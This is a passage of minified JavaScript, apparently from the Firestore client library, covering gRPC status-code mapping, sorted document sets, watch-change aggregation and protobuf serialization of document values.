e=Xi(t),n=function(t){e.find(function(e){return e.isEqual(t)})||e.push(t)},r=0,i=this.elements;r<i.length;r++){n(i[r])}return new mi(e)},t.prototype.isEqual=function(e){return e instanceof t&&kr(e.elements,this.elements)},t}(),Hi=function(){function t(t){this.elements=t}return t.prototype.applyToLocalView=function(t,e){return this.apply(t)},t.prototype.applyToRemoteDocument=function(t,e){return this.apply(t)},t.prototype.apply=function(t){for(var e=Xi(t),n=function(t){e=e.filter(function(e){return!e.isEqual(t)})},r=0,i=this.elements;r<i.length;r++){n(i[r])}return new mi(e)},t.prototype.isEqual=function(e){return e instanceof t&&kr(e.elements,this.elements)},t}();function Xi(t){return t instanceof mi?t.internalValue.slice():[]}var Yi,Ji=function(){function t(t){this.count=t}return t.prototype.isEqual=function(t){return t&&t.count===this.count},t}();function $i(t){switch(t){case nr.OK:return $n("Treated status OK as error");case nr.CANCELLED:case nr.UNKNOWN:case nr.DEADLINE_EXCEEDED:case nr.RESOURCE_EXHAUSTED:case nr.INTERNAL:case nr.UNAVAILABLE:case nr.UNAUTHENTICATED:return!1;case nr.INVALID_ARGUMENT:case nr.NOT_FOUND:case nr.ALREADY_EXISTS:case nr.PERMISSION_DENIED:case nr.FAILED_PRECONDITION:case nr.ABORTED:case nr.OUT_OF_RANGE:case nr.UNIMPLEMENTED:case nr.DATA_LOSS:return!0;default:return $n("Unknown status code: "+t)}}function Zi(t){if(void 0===t)return Yn("GRPC error has no .code"),nr.UNKNOWN;switch(t){case Yi.OK:return nr.OK;case Yi.CANCELLED:return nr.CANCELLED;case Yi.UNKNOWN:return nr.UNKNOWN;case Yi.DEADLINE_EXCEEDED:return nr.DEADLINE_EXCEEDED;case Yi.RESOURCE_EXHAUSTED:return nr.RESOURCE_EXHAUSTED;case Yi.INTERNAL:return nr.INTERNAL;case Yi.UNAVAILABLE:return nr.UNAVAILABLE;case Yi.UNAUTHENTICATED:return nr.UNAUTHENTICATED;case Yi.INVALID_ARGUMENT:return nr.INVALID_ARGUMENT;case Yi.NOT_FOUND:return nr.NOT_FOUND;case Yi.ALREADY_EXISTS:return nr.ALREADY_EXISTS;case Yi.PERMISSION_DENIED:return nr.PERMISSION_DENIED;case Yi.FAILED_PRECONDITION:return nr.FAILED_PRECONDITION;case Yi.ABORTED:return nr.ABORTED;case Yi.OUT_OF_RANGE:return nr.OUT_OF_RANGE;case Yi.UNIMPLEMENTED:return nr.UNIMPLEMENTED;case Yi.DATA_LOSS:return nr.DATA_LOSS;default:return $n("Unknown status code: "+t)}}!function(t){t[t.OK=0]="OK",t[t.CANCELLED=1]="CANCELLED",t[t.UNKNOWN=2]="UNKNOWN",t[t.INVALID_ARGUMENT=3]="INVALID_ARGUMENT",t[t.DEADLINE_EXCEEDED=4]="DEADLINE_EXCEEDED",t[t.NOT_FOUND=5]="NOT_FOUND",t[t.ALREADY_EXISTS=6]="ALREADY_EXISTS",t[t.PERMISSION_DENIED=7]="PERMISSION_DENIED",t[t.UNAUTHENTICATED=16]="UNAUTHENTICATED",t[t.RESOURCE_EXHAUSTED=8]="RESOURCE_EXHAUSTED",t[t.FAILED_PRECONDITION=9]="FAILED_PRECONDITION",t[t.ABORTED=10]="ABORTED",t[t.OUT_OF_RANGE=11]="OUT_OF_RANGE",t[t.UNIMPLEMENTED=12]="UNIMPLEMENTED",t[t.INTERNAL=13]="INTERNAL",t[t.UNAVAILABLE=14]="UNAVAILABLE",t[t.DATA_LOSS=15]="DATA_LOSS"}(Yi||(Yi={}));var to=function(){function t(t){this.comparator=t,this.data=new Yr(this.comparator)}return t.fromMapKeys=function(e){var n=new t(e.comparator);return e.forEach(function(t){n=n.add(t)}),n},t.prototype.has=function(t){return null!==this.data.get(t)},t.prototype.first=function(){return this.data.minKey()},t.prototype.last=function(){return this.data.maxKey()},Object.defineProperty(t.prototype,"size",{get:function(){return this.data.size},enumerable:!0,configurable:!0}),t.prototype.indexOf=function(t){return this.data.indexOf(t)},t.prototype.forEach=function(t){this.data.inorderTraversal(function(e,n){return t(e),!1})},t.prototype.forEachInRange=function(t,e){for(var n=this.data.getIteratorFrom(t[0]);n.hasNext();){var r=n.getNext();if(this.comparator(r.key,t[1])>=0)return;e(r.key)}},t.prototype.forEachWhile=function(t,e){var n;for(n=void 0!==e?this.data.getIteratorFrom(e):this.data.getIterator();n.hasNext();){if(!t(n.getNext().key))return}},t.prototype.firstAfterOrEqual=function(t){var e=this.data.getIteratorFrom(t);return e.hasNext()?e.getNext().key:null},t.prototype.add=function(t){return this.copy(this.data.remove(t).insert(t,!0))},t.prototype.delete=function(t){return this.has(t)?this.copy(this.data.remove(t)):this},t.prototype.isEmpty=function(){return this.data.isEmpty()},t.prototype.unionWith=function(t){var e=this;return t.forEach(function(t){e=e.add(t)}),e},t.prototype.isEqual=function(e){if(!(e instanceof t))return!1;if(this.size!==e.size)return!1;for(var n=this.data.getIterator(),r=e.data.getIterator();n.hasNext();){var i=n.getNext().key,o=r.getNext().key;if(0!==this.comparator(i,o))return!1}return!0},t.prototype.toArray=function(){var t=[];return this.forEach(function(e){t.push(e)}),t},t.prototype.toString=function(){var t=[];return this.forEach(function(e){return t.push(e)}),"SortedSet("+t.toString()+")"},t.prototype[Symbol.iterator]=function(){var t=this.data.getIterator();return{next:function(){return t.hasNext()?{done:!1,value:t.getNext().key}:{done:!0,value:{}}}}},t.prototype.copy=function(e){var n=new t(this.comparator);return n.data=e,n},t}(),eo=new Yr(jr.comparator);function no(){return eo}var ro=new Yr(jr.comparator);function io(){return ro}var oo=new Yr(jr.comparator);function so(){return oo}var ao=new to(jr.comparator);function uo(){return ao}var co=new to(Ar);function ho(){return co}var lo,fo,po=function(){function t(t){this.comparator=t?function(e,n){return t(e,n)||jr.comparator(e.key,n.key)}:function(t,e){return jr.comparator(t.key,e.key)},this.keyedMap=io(),this.sortedSet=new Yr(this.comparator)}return t.emptySet=function(e){return new t(e.comparator)},t.prototype.has=function(t){return null!=this.keyedMap.get(t)},t.prototype.get=function(t){return this.keyedMap.get(t)},t.prototype.first=function(){return this.sortedSet.minKey()},t.prototype.last=function(){return this.sortedSet.maxKey()},t.prototype.isEmpty=function(){return this.sortedSet.isEmpty()},t.prototype.indexOf=function(t){var e=this.keyedMap.get(t);return e?this.sortedSet.indexOf(e):-1},Object.defineProperty(t.prototype,"size",{get:function(){return this.sortedSet.size},enumerable:!0,configurable:!0}),t.prototype.forEach=function(t){this.sortedSet.inorderTraversal(function(e,n){return t(e),!1})},t.prototype.add=function(t){var e=this.delete(t.key);return e.copy(e.keyedMap.insert(t.key,t),e.sortedSet.insert(t,null))},t.prototype.delete=function(t){var e=this.get(t);return e?this.copy(this.keyedMap.remove(t),this.sortedSet.remove(e)):this},t.prototype.isEqual=function(e){if(!(e instanceof t))return!1;if(this.size!==e.size)return!1;for(var n=this.sortedSet.getIterator(),r=e.sortedSet.getIterator();n.hasNext();){var i=n.getNext().key,o=r.getNext().key;if(!i.isEqual(o))return!1}return!0},t.prototype.toString=function(){var t=[];return this.forEach(function(e){t.push(e.toString())}),0===t.length?"DocumentSet ()":"DocumentSet (\n  "+t.join("  \n")+"\n)"},t.prototype.copy=function(e,n){var r=new t;return r.comparator=this.comparator,r.keyedMap=e,r.sortedSet=n,r},t}();!function(t){t[t.Added=0]="Added",t[t.Removed=1]="Removed",t[t.Modified=2]="Modified",t[t.Metadata=3]="Metadata"}(lo||(lo={})),function(t){t[t.Local=0]="Local",t[t.Synced=1]="Synced"}(fo||(fo={}));var mo,yo=function(){function t(){this.changeMap=new Yr(jr.comparator)}return t.prototype.track=function(t){var e=t.doc.key,n=this.changeMap.get(e);n?t.type!==lo.Added&&n.type===lo.Metadata?this.changeMap=this.changeMap.insert(e,t):t.type===lo.Metadata&&n.type!==lo.Removed?this.changeMap=this.changeMap.insert(e,{type:n.type,doc:t.doc}):t.type===lo.Modified&&n.type===lo.Modified?this.changeMap=this.changeMap.insert(e,{type:lo.Modified,doc:t.doc}):t.type===lo.Modified&&n.type===lo.Added?this.changeMap=this.changeMap.insert(e,{type:lo.Added,doc:t.doc}):t.type===lo.Removed&&n.type===lo.Added?this.changeMap=this.changeMap.remove(e):t.type===lo.Removed&&n.type===lo.Modified?this.changeMap=this.changeMap.insert(e,{type:lo.Removed,doc:n.doc}):t.type===lo.Added&&n.type===lo.Removed?this.changeMap=this.changeMap.insert(e,{type:lo.Modified,doc:t.doc}):$n("unsupported combination of changes: "+JSON.stringify(t)+" after "+JSON.stringify(n)):this.changeMap=this.changeMap.insert(e,t)},t.prototype.getChanges=function(){var t=[];return this.changeMap.inorderTraversal(function(e,n){t.push(n)}),t},t}(),go=function(){function t(t,e,n,r,i,o,s,a){this.query=t,this.docs=e,this.oldDocs=n,this.docChanges=r,this.mutatedKeys=i,this.fromCache=o,this.syncStateChanged=s,this.excludesMetadataChanges=a}return t.fromInitialDocuments=function(e,n,r,i){var o=[];return n.forEach(function(t){o.push({type:lo.Added,doc:t})}),new t(e,n,po.emptySet(n),o,r,i,!0,!1)},Object.defineProperty(t.prototype,"hasPendingWrites",{get:function(){return!this.mutatedKeys.isEmpty()},enumerable:!0,configurable:!0}),t.prototype.isEqual=function(t){if(!(this.fromCache===t.fromCache&&this.syncStateChanged===t.syncStateChanged&&this.mutatedKeys.isEqual(t.mutatedKeys)&&this.query.isEqual(t.query)&&this.docs.isEqual(t.docs)&&this.oldDocs.isEqual(t.oldDocs)))return!1;var e=this.docChanges,n=t.docChanges;if(e.length!==n.length)return!1;for(var r=0;r<e.length;r++)if(e[r].type!==n[r].type||!e[r].doc.isEqual(n[r].doc))return!1;return!0},t}(),vo=function(){function t(t,e,n,r,i){this.snapshotVersion=t,this.targetChanges=e,this.targetMismatches=n,this.documentUpdates=r,this.resolvedLimboDocuments=i}return t.createSynthesizedRemoteEventForCurrentChange=function(e,n){var r,i=((r={})[e]=bo.createSynthesizedTargetChangeForCurrentChange(e,n),r);return new t(_i.MIN,i,ho(),no(),uo())},t}(),bo=function(){function t(t,e,n,r,i){this.resumeToken=t,this.current=e,this.addedDocuments=n,this.modifiedDocuments=r,this.removedDocuments=i}return t.createSynthesizedTargetChangeForCurrentChange=function(e,n){return new t(er(),n,uo(),uo(),uo())},t}(),wo=function(){return function(t,e,n,r){this.updatedTargetIds=t,this.removedTargetIds=e,this.key=n,this.newDoc=r}}(),To=function(){return function(t,e){this.targetId=t,this.existenceFilter=e}}();!function(t){t[t.NoChange=0]="NoChange",t[t.Added=1]="Added",t[t.Removed=2]="Removed",t[t.Current=3]="Current",t[t.Reset=4]="Reset"}(mo||(mo={}));var So=function(){return function(t,e,n,r){void 0===n&&(n=er()),void 0===r&&(r=null),this.state=t,this.targetIds=e,this.resumeToken=n,this.cause=r}}(),Eo=function(){function t(){this.pendingResponses=0,this.documentChanges=Do(),this._resumeToken=er(),this._current=!1,this._hasPendingChanges=!0}return Object.defineProperty(t.prototype,"current",{get:function(){return this._current},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"resumeToken",{get:function(){return this._resumeToken},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"isPending",{get:function(){return 0!==this.pendingResponses},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"hasPendingChanges",{get:function(){return this._hasPendingChanges},enumerable:!0,configurable:!0}),t.prototype.updateResumeToken=function(t){t.length>0&&(this._hasPendingChanges=!0,this._resumeToken=t)},t.prototype.toTargetChange=function(){var t=uo(),e=uo(),n=uo();return this.documentChanges.forEach(function(r,i){switch(i){case lo.Added:t=t.add(r);break;case lo.Modified:e=e.add(r);break;case lo.Removed:n=n.add(r);break;default:$n("Encountered invalid change type: "+i)}}),new bo(this._resumeToken,this._current,t,e,n)},t.prototype.clearPendingChanges=function(){this._hasPendingChanges=!1,this.documentChanges=Do()},t.prototype.addDocumentChange=function(t,e){this._hasPendingChanges=!0,this.documentChanges=this.documentChanges.insert(t,e)},t.prototype.removeDocumentChange=function(t){this._hasPendingChanges=!0,this.documentChanges=this.documentChanges.remove(t)},t.prototype.recordPendingTargetRequest=function(){this.pendingResponses+=1},t.prototype.recordTargetResponse=function(){this.pendingResponses-=1},t.prototype.markCurrent=function(){this._hasPendingChanges=!0,this._current=!0},t}(),Io=function(){function t(t){this.metadataProvider=t,this.targetStates={},this.pendingDocumentUpdates=no(),this.pendingDocumentTargetMapping=Co(),this.pendingTargetResets=new to(Ar)}return t.prototype.handleDocumentChange=function(t){for(var e=0,n=t.updatedTargetIds;e<n.length;e++){var r=n[e];t.newDoc instanceof zr?this.addDocumentToTarget(r,t.newDoc):t.newDoc instanceof Hr&&this.removeDocumentFromTarget(r,t.key,t.newDoc)}for(var i=0,o=t.removedTargetIds;i<o.length;i++){r=o[i];this.removeDocumentFromTarget(r,t.key,t.newDoc)}},t.prototype.handleTargetChange=function(t){var e=this;this.forEachTarget(t,function(n){var r=e.ensureTargetState(n);switch(t.state){case mo.NoChange:e.isActiveTarget(n)&&r.updateResumeToken(t.resumeToken);break;case mo.Added:r.recordTargetResponse(),r.isPending||r.clearPendingChanges(),r.updateResumeToken(t.resumeToken);break;case mo.Removed:r.recordTargetResponse(),r.isPending||e.removeTarget(n),Zn(!t.cause,"WatchChangeAggregator does not handle errored targets");break;case mo.Current:e.isActiveTarget(n)&&(r.markCurrent(),r.updateResumeToken(t.resumeToken));break;case mo.Reset:e.isActiveTarget(n)&&(e.resetTarget(n),r.updateResumeToken(t.resumeToken));break;default:$n("Unknown target watch change state: "+t.state)}})},t.prototype.forEachTarget=function(t,e){t.targetIds.length>0?t.targetIds.forEach(e):ar(this.targetStates,e)},t.prototype.handleExistenceFilter=function(t){var e=t.targetId,n=t.existenceFilter.count,r=this.queryDataForActiveTarget(e);if(r){var i=r.query;if(i.isDocumentQuery())if(0===n){var o=new jr(i.path);this.removeDocumentFromTarget(e,o,new Hr(o,_i.forDeletedDoc()))}else Zn(1===n,"Single document existence filter with count: "+n);else this.getCurrentDocumentCountForTarget(e)!==n&&(this.resetTarget(e),this.pendingTargetResets=this.pendingTargetResets.add(e))}},t.prototype.createRemoteEvent=function(t){var e=this,n={};ar(this.targetStates,function(r,i){var o=e.queryDataForActiveTarget(r);if(o){if(i.current&&o.query.isDocumentQuery()){var s=new jr(o.query.path);null!==e.pendingDocumentUpdates.get(s)||e.targetContainsDocument(r,s)||e.removeDocumentFromTarget(r,s,new Hr(s,t))}i.hasPendingChanges&&(n[r]=i.toTargetChange(),i.clearPendingChanges())}});var r=uo();this.pendingDocumentTargetMapping.forEach(function(t,n){var i=!0;n.forEachWhile(function(t){var n=e.queryDataForActiveTarget(t);return!n||n.purpose===Si.LimboResolution||(i=!1,!1)}),i&&(r=r.add(t))});var i=new vo(t,n,this.pendingTargetResets,this.pendingDocumentUpdates,r);return this.pendingDocumentUpdates=no(),this.pendingDocumentTargetMapping=Co(),this.pendingTargetResets=new to(Ar),i},t.prototype.addDocumentToTarget=function(t,e){if(this.isActiveTarget(t)){var n=this.targetContainsDocument(t,e.key)?lo.Modified:lo.Added;this.ensureTargetState(t).addDocumentChange(e.key,n),this.pendingDocumentUpdates=this.pendingDocumentUpdates.insert(e.key,e),this.pendingDocumentTargetMapping=this.pendingDocumentTargetMapping.insert(e.key,this.ensureDocumentTargetMapping(e.key).add(t))}},t.prototype.removeDocumentFromTarget=function(t,e,n){if(this.isActiveTarget(t)){var r=this.ensureTargetState(t);this.targetContainsDocument(t,e)?r.addDocumentChange(e,lo.Removed):r.removeDocumentChange(e),this.pendingDocumentTargetMapping=this.pendingDocumentTargetMapping.insert(e,this.ensureDocumentTargetMapping(e).delete(t)),n&&(this.pendingDocumentUpdates=this.pendingDocumentUpdates.insert(e,n))}},t.prototype.removeTarget=function(t){delete this.targetStates[t]},t.prototype.getCurrentDocumentCountForTarget=function(t){var e=this.ensureTargetState(t).toTargetChange();return this.metadataProvider.getRemoteKeysForTarget(t).size+e.addedDocuments.size-e.removedDocuments.size},t.prototype.recordPendingTargetRequest=function(t){this.ensureTargetState(t).recordPendingTargetRequest()},t.prototype.ensureTargetState=function(t){return this.targetStates[t]||(this.targetStates[t]=new Eo),this.targetStates[t]},t.prototype.ensureDocumentTargetMapping=function(t){var e=this.pendingDocumentTargetMapping.get(t);return e||(e=new to(Ar),this.pendingDocumentTargetMapping=this.pendingDocumentTargetMapping.insert(t,e)),e},t.prototype.isActiveTarget=function(t){return null!==this.queryDataForActiveTarget(t)},t.prototype.queryDataForActiveTarget=function(t){var e=this.targetStates[t];return e&&e.isPending?null:this.metadataProvider.getQueryDataForTarget(t)},t.prototype.resetTarget=function(t){var e=this;Zn(!this.targetStates[t].isPending,"Should only reset active targets"),this.targetStates[t]=new Eo,this.metadataProvider.getRemoteKeysForTarget(t).forEach(function(n){e.removeDocumentFromTarget(t,n,null)})},t.prototype.targetContainsDocument=function(t,e){return this.metadataProvider.getRemoteKeysForTarget(t).has(e)},t}();function Co(){return new Yr(jr.comparator)}function Do(){return new Yr(jr.comparator)}var No,Ao,ko=((No={})[ki.ASCENDING.name]="ASCENDING",No[ki.DESCENDING.name]="DESCENDING",No),Ro=((Ao={})[Ci.LESS_THAN.name]="LESS_THAN",Ao[Ci.LESS_THAN_OR_EQUAL.name]="LESS_THAN_OR_EQUAL",Ao[Ci.GREATER_THAN.name]="GREATER_THAN",Ao[Ci.GREATER_THAN_OR_EQUAL.name]="GREATER_THAN_OR_EQUAL",Ao[Ci.EQUAL.name]="EQUAL",Ao[Ci.ARRAY_CONTAINS.name]="ARRAY_CONTAINS",Ao),Mo=new RegExp(/^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(?:\.(\d+))?Z$/);function Oo(t,e){Zn(!wi(t),e+" is missing")}function Po(t){return"number"==typeof t?t:"string"==typeof t?Number(t):$n("can't parse "+t)}var _o=function(){function t(t,e){this.databaseId=t,this.options=e}return t.prototype.emptyByteString=function(){return this.options.useProto3Json?"":new Uint8Array(0)},t.prototype.unsafeCastProtoByteString=function(t){return t},t.prototype.fromRpcStatus=function(t){var e=void 0===t.code?nr.UNKNOWN:Zi(t.code);return new rr(e,t.message||"")},t.prototype.toInt32Value=function(t){return wi(t)?void 0:{value:t}},t.prototype.fromInt32Value=function(t){var e;return wi(e="object"==typeof t?t.value:t)?null:e},t.prototype.toTimestamp=function(t){return{seconds:t.seconds,nanos:t.nanoseconds}},t.prototype.fromTimestamp=function(t){if("string"==typeof t)return this.fromIso8601String(t);Zn(!!t,"Cannot deserialize null or undefined timestamp.");var e=Po(t.seconds||"0"),n=t.nanos||0;return new qr(e,n)},t.prototype.fromIso8601String=function(t){var e=0,n=Mo.exec(t);if(Zn(!!n,"invalid timestamp: "+t),n[1]){var r=n[1];r=(r+"000000000").substr(0,9),e=Number(r)}var i=new Date(t),o=Math.floor(i.getTime()/1e3);return new qr(o,e)},t.prototype.toBytes=function(t){return this.options.useProto3Json?t.toBase64():this.unsafeCastProtoByteString(t.toUint8Array())},t.prototype.fromBlob=function(t){return"string"==typeof t?(Zn(this.options.useProto3Json,"Expected bytes to be passed in as Uint8Array, but got a string instead."),_r.fromBase64String(t)):(Zn(!this.options.useProto3Json,"Expected bytes to be passed in as string, but got something else instead."),_r.fromUint8Array(t))},t.prototype.toVersion=function(t){return this.toTimestamp(t.toTimestamp())},t.prototype.fromVersion=function(t){return Zn(!!t,"Trying to deserialize version that isn't set"),_i.fromTimestamp(this.fromTimestamp(t))},t.prototype.toResourceName=function(t,e){return this.fullyQualifiedPrefixPath(t).child("documents").child(e).canonicalString()},t.prototype.fromResourceName=function(t){var e=Qr.fromString(t);return Zn(this.isValidResourceName(e),"Tried to deserialize invalid key "+e.toString()),e},t.prototype.toName=function(t){return this.toResourceName(this.databaseId,t.path)},t.prototype.fromName=function(t){var e=this.fromResourceName(t);return Zn(e.get(1)===this.databaseId.projectId,"Tried to deserialize key from different project: "+e.get(1)+" vs "+this.databaseId.projectId),Zn(!e.get(3)&&!this.databaseId.database||e.get(3)===this.databaseId.database,"Tried to deserialize key from different database: "+e.get(3)+" vs "+this.databaseId.database),new jr(this.extractLocalPathFromResourceName(e))},t.prototype.toQueryPath=function(t){return 0===t.length?this.encodedDatabaseId:this.toResourceName(this.databaseId,t)},t.prototype.fromQueryPath=function(t){var e=this.fromResourceName(t);return 4===e.length?Qr.EMPTY_PATH:this.extractLocalPathFromResourceName(e)},Object.defineProperty(t.prototype,"encodedDatabaseId",{get:function(){return new Qr(["projects",this.databaseId.projectId,"databases",this.databaseId.database]).canonicalString()},enumerable:!0,configurable:!0}),t.prototype.fullyQualifiedPrefixPath=function(t){return new Qr(["projects",t.projectId,"databases",t.database])},t.prototype.extractLocalPathFromResourceName=function(t){return Zn(t.length>4&&"documents"===t.get(4),"tried to deserialize invalid key "+t.toString()),t.popFirst(5)},t.prototype.isValidResourceName=function(t){return t.length>=4&&"projects"===t.get(0)&&"databases"===t.get(2)},t.prototype.toValue=function(t){if(t instanceof ni)return{nullValue:"NULL_VALUE"};if(t instanceof ri)return{booleanValue:t.value()};if(t instanceof si)return{integerValue:""+t.value()};if(t instanceof ai){var e=t.value();if(this.options.useProto3Json){if(isNaN(e))return{doubleValue:"NaN"};if(e===1/0)return{doubleValue:"Infinity"};if(e===-1/0)return{doubleValue:"-Infinity"}}return{doubleValue:t.value()}}return t instanceof ui?{stringValue:t.value()}:t instanceof pi?{mapValue:this.toMapValue(t)}:t instanceof mi?{arrayValue:this.toArrayValue(t)}:t instanceof ci?{timestampValue:this.toTimestamp(t.internalValue)}:t instanceof di?{geoPointValue:{latitude:t.value().latitude,longitude:t.value().longitude}}:t instanceof li?{bytesValue:this.toBytes(t.value())}:t instanceof fi?{referenceValue:this.toResourceName(t.databaseId,t.key.path)}:$n("Unknown FieldValue "+JSON.stringify(t))},t.prototype.fromValue=function(t){var e=this,n=t.value_type;if(Lo(t,n,"nullValue"))return ni.INSTANCE;if(Lo(t,n,"booleanValue"))return ri.of(t.booleanValue);if(Lo(t,n,"integerValue"))return new si(Po(t.integerValue));if(Lo(t,n,"doubleValue")){if(this.options.useProto3Json){if("NaN"===t.doubleValue)return ai.NAN;if("Infinity"===t.doubleValue)return ai.POSITIVE_INFINITY;if("-Infinity"===t.doubleValue)return ai.NEGATIVE_INFINITY}return new ai(t.doubleValue)}if(Lo(t,n,"stringValue"))return new ui(t.stringValue);if(Lo(t,n,"mapValue"))return this.fromFields(t.mapValue.fields||{});if(Lo(t,n,"arrayValue")){Oo(t.arrayValue,"arrayValue");var r=t.arrayValue.values||[];return new mi(r.map(function(t){return e.fromValue(t)}))}if(Lo(t,n,"timestampValue"))return Oo(t.timestampValue,"timestampValue"),new ci(this.fromTimestamp(t.timestampValue));if(Lo(t,n,"geoPointValue")){Oo(t.geoPointValue,"geoPointValue");var i=t.geoPointValue.latitude||0,o=t.geoPointValue.longitude||0;return new di(new xr(i,o))}if(Lo(t,n,"bytesValue")){Oo(t.bytesValue,"bytesValue");var s=this.fromBlob(t.bytesValue);return new li(s)}if(Lo(t,n,"referenceValue")){Oo(t.referenceValue,"referenceValue");var a=this.fromResourceName(t.referenceValue),u=new Br(a.get(1),a.get(3)),c=new jr(this.extractLocalPathFromResourceName(a));return new fi(u,c)}return $n("Unknown Value proto "+JSON.stringify(t))},t.prototype.toMutationDocument=function(t,e){return{name:this.toName(t),fields:this.toFields(e)}},t.prototype.toDocument=function(t){return Zn(!t.hasLocalMutations,"Can't serialize documents with mutations."),{name:this.toName(t.key),fields:this.toFields(t.data),updateTime:this.toTimestamp(t.version.toTimestamp())}},t.prototype.fromDocument=function(t,e){return new zr(this.fromName(t.name),this.fromVersion(t.updateTime),this.fromFields(t.fields||{}),{hasCommittedMutations:!!e})},t.prototype.toFields=function(t){var e=this,n={};return t.forEach(function(t,r){n[t]=e.toValue(r)}),n},t.prototype.fromFields=function(t){var e=this,n=t,r=pi.EMPTY;return ur(n,function(t,n){r=r.set(new Wr([t]),e.fromValue(n))}),r},t.prototype.toMapValue=function(t){return{fields:this.toFields(t)}},t.prototype.toArrayValue=function(t){var e=this,n=[];return t.forEach(function(t){n.push(e.toValue(t))}),{values:n}},t.prototype.fromFound=function(t){Zn(!!t.found,"Tried to deserialize a found document from a missing document."),Oo(t.found.name,"doc.found.name"),Oo(t.found.updateTime,"doc.found.updateTime");var e=this.fromName(t.found.name),n=this.fromVersion(t.found.updateTime),r=this.fromFields(t.found.fields||{});return new zr(e,n,r,{})},t.prototype.fromMissing=function(t){Zn(!!t.missing,"Tried to deserialize a missing document from a found document."),Zn(!!t.readTime,"Tried to deserialize a missing document without a read time.");var e=this.fromName(t.missing),n=this.fromVersion(t.readTime);return new Hr(e,n)},t.prototype.fromMaybeDocument=function(t){var e=t.result;return Lo(t,e,"found")?this.fromFound(t):Lo(t,e,"missing")?this.fromMissing(t):$n("invalid batch get response: "+JSON.stringify(t))},t.prototype.toWatchTargetChangeState=function(t){switch(t){case mo.Added:return"ADD";case mo.Current:return"CURRENT";case mo.NoChange:return"NO_CHANGE";case mo.Removed:return"REMOVE";case mo.Reset:return"RESET";default:return $n("Unknown WatchTargetChangeState: "+t)}},t.prototype.toTestWatchChange=function(t){if(t instanceof To)return{filter:{count:t.existenceFilter.count,targetId:t.targetId}};if(t instanceof wo){if(t.newDoc instanceof zr){var e=t.newDoc;return{documentChange:{document:{name:this.toName(e.key),fields:this.toFields(e.data),updateTime:this.toVersion(e.version)},targetIds:t.updatedTargetIds,removedTargetIds:t.removedTargetIds}}}if(t.newDoc instanceof Hr){e=t.newDoc;return{documentDelete:{document:this.toName(e.key),readTime:this.toVersion(e.version),removedTargetIds:t.removedTargetIds}}}if(null===t.newDoc)return{documentRemove:{document:this.toName(t.key),removedTargetIds:t.removedTargetIds}}}if(t instanceof So){var n=void 0;return t.cause&&(n={code:function(t){if(void 0===t)return Yi.OK;switch(t){case nr.OK:return Yi.OK;case nr.CANCELLED:return Yi.CANCELLED;case nr.UNKNOWN:return Yi.UNKNOWN;case nr.DEADLINE_EXCEEDED:return Yi.DEADLINE_EXCEEDED;case nr.RESOURCE_EXHAUSTED:return Yi.RESOURCE_EXHAUSTED;case nr.INTERNAL:return Yi.INTERNAL;case nr.UNAVAILABLE:return Yi.UNAVAILABLE;case nr.UNAUTHENTICATED:return Yi.UNAUTHENTICATED;case nr.INVALID_ARGUMENT:return Yi.INVALID_ARGUMENT;case nr.NOT_FOUND:return Yi.NOT_FOUND;case nr.ALREADY_EXISTS:return Yi.ALREADY_EXISTS;case nr.PERMISSION_DENIED:return Yi.PERMISSION_DENIED;case nr.FAILED_PRECONDITION:return Yi.FAILED_PRECONDITION;case nr.ABORTED:return Yi.ABORTED;case nr.OUT_OF_RANGE:return Yi.OUT_OF_RANGE;case nr.UNIMPLEMENTED:return Yi.UNIMPLEMENTED;case nr.DATA_LOSS:return Yi.DATA_LOSS;default:return $n("Unknown status code: "+t)}}(t.cause.code),message:t.cause.message}),{targetChange:{targetChangeType:this.toWatchTargetChangeState(t.state),targetIds:t.targetIds,resumeToken:this.unsafeCastProtoByteString(t.resumeToken),cause:n}}}return $n("Unrecognized watch change: "+JSON.stringify(t))},t.prototype.fromWatchChange=function(t){var e,n=t.response_type;if(Lo(t,n,"targetChange")){Oo(t.targetChange,"targetChange");var r=this.fromWatchTargetChangeState(t.targetChange.targetChangeType||"NO_CHANGE"),i=t.targetChange.targetIds||[],o=t.targetChange.resumeToken||this.emptyByteString(),s=t.targetChange.cause,a=s&&this.fromRpcStatus(s);e=new So(r,i,o,a||null)}else if(Lo(t,n,"documentChange")){Oo(t.documentChange,"documentChange"),Oo(t.documentChange.document,"documentChange.name"),Oo(t.documentChange.document.name,"documentChange.document.name"),Oo(t.documentChange.document.updateTime,"documentChange.document.updateTime");var u=t.documentChange,c=this.fromName(u.document.name),h=this.fromVersion(u.document.updateTime),l=this.fromFields(u.document.fields||{}),f=new zr(c,h,l,{}),d=u.targetIds||[],p=u.removedTargetIds||[];e=new wo(d,p,f.key,f)}else if(Lo(t,n,"documentDelete")){Oo(t.documentDelete,"documentDelete"),Oo(t.documentDelete.document,"documentDelete.document");var m=t.documentDelete;c=this.fromName(m.document),h=m.readTime?this.fromVersion(m.readTime):_i.forDeletedDoc(),f=new Hr(c,h),p=m.removedTargetIds||[];e=new wo([],p,f.key,f)}else if(Lo(t,n,"documentRemove")){Oo(t.documentRemove,"documentRemove"),Oo(t.documentRemove.document,"documentRemove");var y=t.documentRemove;c=this.fromName(y.document),p=y.removedTargetIds||[];e=new wo([],p,c,null)}else{if(!Lo(t,n,"filter"))return $n("Unknown change type "+JSON.stringify(t));Oo(t.filter,"filter"),Oo(t.filter.targetId,"filter.targetId");var g=t.filter,v=g.count||0,b=new Ji(v),w=g.targetId;e=new To(w,b)}return e},t.prototype.fromWatchTargetChangeState=function(t){return"NO_CHANGE"===t?mo.NoChange:"ADD"===t?mo.Added:"REMOVE"===t?mo.Removed:"CURRENT"===t?mo.Current:"RESET"===t?mo.Reset:$n("Got unexpected TargetChange.state: "+t)},t.prototype.versionFromListenResponse=function(t){if(!Lo(t,t.response_type,"targetChange"))return _i.MIN;var e=t.targetChange;return e.targetIds&&e.targetIds.length?_i.MIN:e.readTime?this.fromVersion(e.readTime):_i.MIN},t.prototype.toMutation=function(t){var e,n=this;if(t instanceof Qi)e={update:this.toMutationDocument(t.key,t.value)};else if(t instanceof ji)e={delete:this.toName(t.key)};else if(t instanceof Ki)e={update:this.toMutationDocument(t.key,t.data),updateMask:this.toDocumentMask(t.fieldMask)};else{if(!(t instanceof Wi))return $n("Unknown mutation type "+t.type);e={transform:{document:this.toName(t.key),fieldTransforms:t.fieldTransforms.map(function(t){return n.toFieldTransform(t)})}}}return 